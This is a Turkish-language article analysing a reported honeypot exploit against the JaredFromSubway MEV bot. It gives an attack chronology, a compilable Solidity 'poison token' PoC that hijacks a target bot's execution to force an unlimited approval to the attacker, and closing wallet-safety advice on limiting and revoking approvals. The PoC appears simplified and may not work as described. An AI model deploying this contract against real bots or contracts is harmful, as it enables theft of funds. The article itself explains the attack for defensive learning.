JaredFromSubway olayı sıradan bir DeFi hacki değil, Ethereum "besin zincirinde" taşları yerinden oynatan köklü bir kırılma noktasıdır. MEV botları, uzun süredir mempool'un mutlak alfa yırtıcıları olarak görülüyordu; ultra karmaşık simülasyonlar kasıp sıradan trader'lar üzerinden sıfır riskle çatır çatır kar kovalıyorlardı. Ancak JaredFromSubway operatörlerine 15 milyon dolardan fazlaya patlayan bu saldırı net bir gerçeği yüzümüze vurdu: Derinlemesine bir execution context izolasyonu olmadan yapılan otomasyon, kendi topuğuna sıkmaktan farksızdır.
Aşağıda, bu exploit'in tüm teknik röntgenini, kurulan honey pot mimarisini ve piyasanın en canavar alım-satım robotunu tek kalemde likidite donörüne çeviren o açığı adım adım inceliyoruz.
Zafiyetin Anatomisi: Jared'ın Algoritması Nerede Çuvalladı?
Sandwich attack kovalayan klasik MEV botları, off-chain simülasyon motorlarından (genelde modifiye edilmiş Geth/Erigon client'ları) beslenir. Bot, bundle'ı Flashbots veya Builder API'ye ateşlemeden önce EVM durumunu kendi lokalinde "evirir çevirir". Eğer lokal simülasyon günün sonunda kılçıksız bir WETH karı gösteriyorsa, işlem silsilesi bloğa girmesi için paketlenir.
Hacker'lar bu mantığın en zayıf halkasını yakaladı: Doğrulanmamış bytecode'ların dinamik olarak çalıştırılması.
JaredFromSubway botu, gas maliyetlerini dibe çekmek için rota optimizasyonunun dibine vuruyordu. Her trade için sıfırdan smart contract deploy etmekle uğraşmamak adına, içeride yüklü likidite tutan ve Uniswap V2/V3 havuzları üzerinde *infinite approvals* (sınırsız harcama yetkisi) tanımlanmış kalıcı bir router kontratı kullanıyordu. Botun arkasındaki kafa, dışarıdan gelen ERC-20 tokenlarının, swap öncesi ve sonrası havuz dengesi matematiği tuttuğu sürece zararsız olduğu varsayımına körü körüne güveniyordu.
Saldırganlar, tam olarak bu kör noktayı vurmak için transfer/transferFrom fonksiyonunun içine gizli bir payload yerleştirdikleri sahte bir yem token tasarladılar. Bot, havuzda swap fonksiyonunu tetiklediği an, EVM içerisindeki tüm yürütme yetkisi doğrudan bu zehirli tokenın koduna geçti. Malicious kontrat, mapping üzerinde basitçe bakiye güncellemek yerine, botun kontratına arkadan düşük seviyeli bir call patlattı. Bu ters aramayla botu manipüle ederek, en kritik varlıkları (WETH, USDC, USDT) için hacker'ın adresine approve vermeye zorladı. Botun off-chain simülatörü bu kırmızı bayrağı yakalayamadı; çünkü lokal test aşamasında token bakiyesi yukarı gidiyordu, asıl cüzdanın boşaltılması ise botun "güvenli" damgası vurduğu bir sonraki adımda gerçekleşti.
Saldırının Adım Adım Kronolojisi
1. Altyapının Hazırlanması ve Zehirli Tokenın Deploy Edilmesi
Saldırganlar token kontratını deploy edip havuza likidite çaktılar. Tokenın içerisine yerleştirilen özel mantık, yalnızca işlemi başlatan adres JaredFromSubway’in bilinen resmi router kontratı olduğunda uyanacak şekilde kurgulanmıştı.
2. Oltanın Atılması (Baiting)
Hacker'lar, genel mempool üzerinden kendi tokenlarını satın almak için yüklü bir işlem açtılar. Botun algoritmaları için bu hamle, havada kapılması gereken kusursuz bir sandwich avı gibi görünüyordu: Havuz likiditesi sığ, yüksek slippage (fiyat kayması) garanti ve frontrun alımıyla elde edilecek matematiksel kar muazzamdı.
3. Direksiyonun Ele Geçirilmesi (The Hijacking)
Bot işlemi yakaladı, bundle’ı oluşturdu ve bloğa ilk sıradan kaynak yapmak için validator'e yüksek bir priority fee (öncelik ücreti) rüşveti verdi.
[Ethereum Bloğu] ├── İşlem 1 (Frontrun): Bot çakma tokenı satın alır -> Zararlı payload tetiklenir -> Zorunlu approve() çağrılır ├── İşlem 2 (Kurban): Hacker planladığı swap işlemini yürütür └── İşlem 3 (Backrun): Bot tokenı satmaya çalışır (Bu aşamada artık hiçbir hükmü yoktur)
Havuz içinde ilk işlem yürütüldüğü saniyede, token kontratı execution flow'u (çalışma akışını) tamamen esir aldı. İşlem yaptığı tokenlara gözü kapalı güvenen botun router mimarisindeki bu açıktan yararlanan hacker kontratı, bota zorla şu komutu işletti:
asset.approve(attacker_address, type(uint256).max).4. transferFrom ile Cüzdanların İçinin Boşaltılması
Botun ana kasasını yönetme yetkisini cebe koyan hacker'lar, bloğun bitmesini bekleme gereği bile duymadı. Aynı saldırı kapsamında (ya da atomic bundle'lar sayesinde hemen bir sonraki blokta), zararlı kontrat WETH, USDC ve USDT kontratları üzerinde
transferFromfonksiyonunu çağırdı. JaredFromSubway ile bağlantılı tüm adreslerden, tek bir kalemde giden 7.5 milyon dolar da dahil olmak üzere, toplamda 15 milyon dolardan fazla varlık tek nefeste buharlaştırıldı.
Karşılaştırmalı Analiz: Klasik Sandwich vs "Jared" Honey Pot Exploit'i
| Parametre | Klasik Sandwich (Jared) | Hacker'ların Karşı Atağı (Honey Pot) |
|---|---|---|
| Saldırı Hedefi | Sıradan kullanıcı (market order) | MEV Botu (otomatize router) |
| Ana Enstrüman | İşlem sırasını manipüle ederek fiyatla oynamak | ERC-20 aracılığıyla malicious bytecode enjekte etmek |
| Zafiyet Vektörü | Trader'ın yüksek slippage (tolerans) bırakması | Bot kontratında yetki izolasyonunun (Approvals) olmaması |
| Sonuç | Bot ufak spread'leri (%0.1 - %5) cepler | Hacker, botun tüm operasyonel likiditesini tek seferde süpürür |
"Zehirli Token" Mimarisi (Kavramsal PoC Örneği)
Aşağıda, bir tokenın execution flow'u nasıl ele geçirebileceğini ve çağıran kontratı kendisi için sonsuz allowance vermeye nasıl zorlayabileceğini gösteren, Solidity ile yazılmış, eksiksiz ve derlenebilir bir akıllı kontrat yer almaktadır.
Önemli: Bu kod tamamen eğitim amaçlı paylaşılmış olup, saldırı vektörlerini analiz etmek ve dApp'ler için daha sağlam savunma sistemleri geliştirmek amacıyla hazırlanmıştır. Sektörde lamerlik yapmayın.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
string public name = "HoneyPot MEV Bait";
string public symbol = "BAIT";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public immutable attacker;
address public targetBot;
address public immutable targetAsset; // Örneğin, WETH kontratı
bool private inAttack;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(address _targetAsset) {
attacker = msg.sender;
targetAsset = _targetAsset;
totalSupply = 1000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function setTargetBot(address _bot) external {
require(msg.sender == attacker, "Only attacker can set target");
targetBot = _bot;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "ERC20: insufficient allowance");
allowance[from][msg.sender] = allowed - value;
}
_transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
// Saldırı tetikleyicisi: Eğer çağrı bottan geliyorsa veya bota gidiyorsa ve henüz bir reentrancy döngüsünde değilsek
if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
inAttack = true;
// Botun kontratına doğrudan reentrancy benzeri bir call gönderiyoruz.
// Botun, swap sırasında kendisine iletilen verilere dayanarak körü körüne arbitrary call
// (rastgele düşük seviyeli çağrılar) yürütme mantığındaki açığı suistimal ediyoruz.
// Burada saldırgan için zorunlu bir WETH approve işlemi simüle edilmiştir.
bytes memory payload = abi.encodeWithSignature(
"approve(address,uint256)",
attacker,
type(uint256).max
);
// Bot, router altyapısı havuz bağlamından gelen talimatlara güvendiği için bu çağrıyı sorgulamadan çalıştırır
(bool success, ) = targetBot.call(payload);
require(success, "Exploit execution failed");
inAttack = false;
}
}
}Varlıklarınızı Nasıl Korursunuz: Küçük Yatırımcı İçin Sert Dersler
Bu savaş MEV arenalarında tamamen "Aliens vs Predator" tadında devasa aktörler arasında dönmüş olsa da, piyasadaki küçük yatırımcıların (retail) kendi cüzdan güvenlikleri için buradan çıkaracağı hayati dersler var. JaredFromSubway botu, uluorta verilen sınırsız izinler (infinite approvals) yüzünden tek tıkla rekt oldu; oysa sıradan bir Web3 kullanıcısı da her gün farkında olmadan tam olarak aynı riski alıyor.
Herhangi bir DeFi protokolüyle (Uniswap'ta swap yaparken, 1inch router'ını kullanırken veya borç alma platformlarında) etkileşime girdiğinizde, cüzdanınız size iki farklı işlem imzalatır: İlki Approve (yani kontrata senin tokenlarını harcama yetkisi verme), ikincisi ise işlemin kendisi olan Swap veya Deposit aşamasıdır.
Çoğu dApp, kullanıcı deneyimini (UX) kolaylaştırmak adına sizden varsayılan olarak cüzdanınızdaki o token için sınırsız harcama izni (uint256.max) talep eder. Amaçları tamamen her yeni işlemde tekrar tekrar gas fee ödemenizi engellemektir.
Ancak buradaki asıl tehlike şu: Eğer o protokolün akıllı kontratı bir gün exploit edilirse (tıpkı Jared'ın router'ına olduğu gibi) veya yanlışlıkla bir phishing sitesinde bu izni imzalarsanız, saldırgan istediği an
transferFromfonksiyonunu tetikleyerek cüzdanınızdaki varlıkları saniyeler içinde sıfırlayabilir. Üstelik tokenlarınızın sadece adreste güvenle durduğunu sandığınız esnada bile.
Checklist: Gizli Approvale Kurban Gitmemek İçin Ne Yapmalı?
Özel Limitler Belirleyin (Custom Allowance):
MetaMask veya Rabby Wallet kullanırken karşınıza çıkan
Approveekranında asla körü körüne "Max" butonuna basmayın. O an tam olarak ne kadarlık bir miktarı swap edecekseniz, o tutarı elinizle manuel yazın. Eğer sadece 100 USDC takas ediyorsanız, verdiğiniz harcama izni de tam olarak 100 USDC ile sınırlı kalmalıdır.İzinleri Düzenli Olarak İptal Edin (Revoke):
Ayda en az bir kez cüzdanınızdaki aktif approval durumlarını kontrol etmeyi alışkanlık haline getirin. Bunun için Revoke.cash gibi topluluk tarafından kabul görmüş güvenilir araçları kullanabilir veya doğrudan Etherscan gibi blok tarayıcılarındaki Token Approvals sekmesinden geçmiş izinlerinizi temizleyebilirsiniz.
Cüzdanlarınızı Rollerine Göre Ayırın:
Ana sermayenizi, akıllı kontratlarla hiçbir şekilde etkileşime girmeyen ve asla approval imzalamayan soğuk donanım cüzdanlarında (hardware wallet) izole edin. Günlük trade işlemleri, riskli shitcoin avları veya NFT mint süreçleri için ise içinde sadece gözden çıkarabileceğiniz kadar bakiye barındıran "burner" (hot wallet) cüzdanlar kullanın. Böylece olası bir reentrancy saldırısında ya da havuz hacklendiğinde tüm paranız uçup gitmez.